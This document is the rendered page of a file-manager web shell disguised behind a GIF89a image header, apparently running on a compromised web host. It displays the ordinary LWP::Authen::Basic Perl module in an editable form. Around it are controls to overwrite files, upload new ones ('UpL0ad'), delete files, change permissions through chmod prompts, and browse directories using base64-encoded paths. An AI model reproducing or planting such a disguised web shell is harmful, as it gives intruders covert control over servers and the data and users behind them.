GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Basic.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=QmFzaWMucG0%3D"><input name="f" value="Basic.pm"><textarea name="t">package LWP::Authen::Basic;

use strict;

our $VERSION = '6.76';

require Encode;
require MIME::Base64;

sub auth_header {
    my($class, $user, $pass, $request, $ua, $h) = @_;

    my $userpass = &quot;$user:$pass&quot;;
    # https://tools.ietf.org/html/rfc7617#section-2.1
    my $charset = uc($h-&gt;{auth_param}-&gt;{charset} || &quot;&quot;);
    $userpass = Encode::encode($charset, $userpass)
        if ($charset eq &quot;UTF-8&quot;);

    return &quot;Basic &quot; . MIME::Base64::encode($userpass, &quot;&quot;);
}

sub _reauth_requested {
    return 0;
}

sub authenticate
{
    my($class, $ua, $proxy, $auth_param, $response,
       $request, $arg, $size) = @_;

    my $realm = $auth_param-&gt;{realm} || &quot;&quot;;
    my $url = $proxy ? $request-&gt;{proxy} : $request-&gt;uri_canonical;
    return $response unless $url;
    my $host_port = $url-&gt;host_port;
    my $auth_header = $proxy ? &quot;Proxy-Authorization&quot; : &quot;Authorization&quot;;

    my @m = $proxy ? (m_proxy =&gt; $url) : (m_host_port =&gt; $host_port);
    push(@m, realm =&gt; $realm);

    my $h = $ua-&gt;get_my_handler(&quot;request_prepare&quot;, @m, sub {
        $_[0]{callback} = sub {
            my($req, $ua, $h) = @_;
            my($user, $pass) = $ua-&gt;credentials($host_port, $h-&gt;{realm});
	    if (defined $user) {
		my $auth_value = $class-&gt;auth_header($user, $pass, $req, $ua, $h);
		$req-&gt;header($auth_header =&gt; $auth_value);
	    }
        };
    });
    $h-&gt;{auth_param} = $auth_param;

    my $reauth_requested
        = $class-&gt;_reauth_requested($auth_param, $ua, $request, $auth_header);
    if (   !$proxy
        &amp;&amp; (!$request-&gt;header($auth_header) || $reauth_requested)
        &amp;&amp; $ua-&gt;credentials($host_port, $realm))
    {
        # we can make sure this handler applies and retry
        add_path($h, $url-&gt;path)
            unless $reauth_requested;  # Do not clobber up path list for retries
        return $ua-&gt;request($request-&gt;clone, $arg, $size, $response);
    }

    my($user, $pass) = $ua-&gt;get_basic_credentials($realm, $url, $proxy);
    unless (defined $user and defined $pass) {
	$ua-&gt;set_my_handler(&quot;request_prepare&quot;, undef, @m);  # delete handler
	return $response;
    }

    # check that the password has changed
    my ($olduser, $oldpass) = $ua-&gt;credentials($host_port, $realm);
    return $response if (defined $olduser and defined $oldpass and
                         $user eq $olduser and $pass eq $oldpass);

    $ua-&gt;credentials($host_port, $realm, $user, $pass);
    add_path($h, $url-&gt;path) unless $proxy;
    return $ua-&gt;request($request-&gt;clone, $arg, $size, $response);
}

sub add_path {
    my($h, $path) = @_;
    $path =~ s,[^/]+\z,,;
    push(@{$h-&gt;{m_path_prefix}}, $path);
}

1;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/LWP/Authen<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1A="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&x=QmFzaWMucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=QmFzaWMucG0="/>Basic.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=QmFzaWMucG0=&c=`+btoa(c):0" value="0644"></td><td>2620</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&x=RGlnZXN0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=RGlnZXN0LnBt"/>Digest.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=RGlnZXN0LnBt&c=`+btoa(c):0" value="0644"></td><td>2175</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&x=TnRsbS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=TnRsbS5wbQ=="/>Ntlm.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9MV1AvQXV0aGVu&f=TnRsbS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>5398</td></tr></table>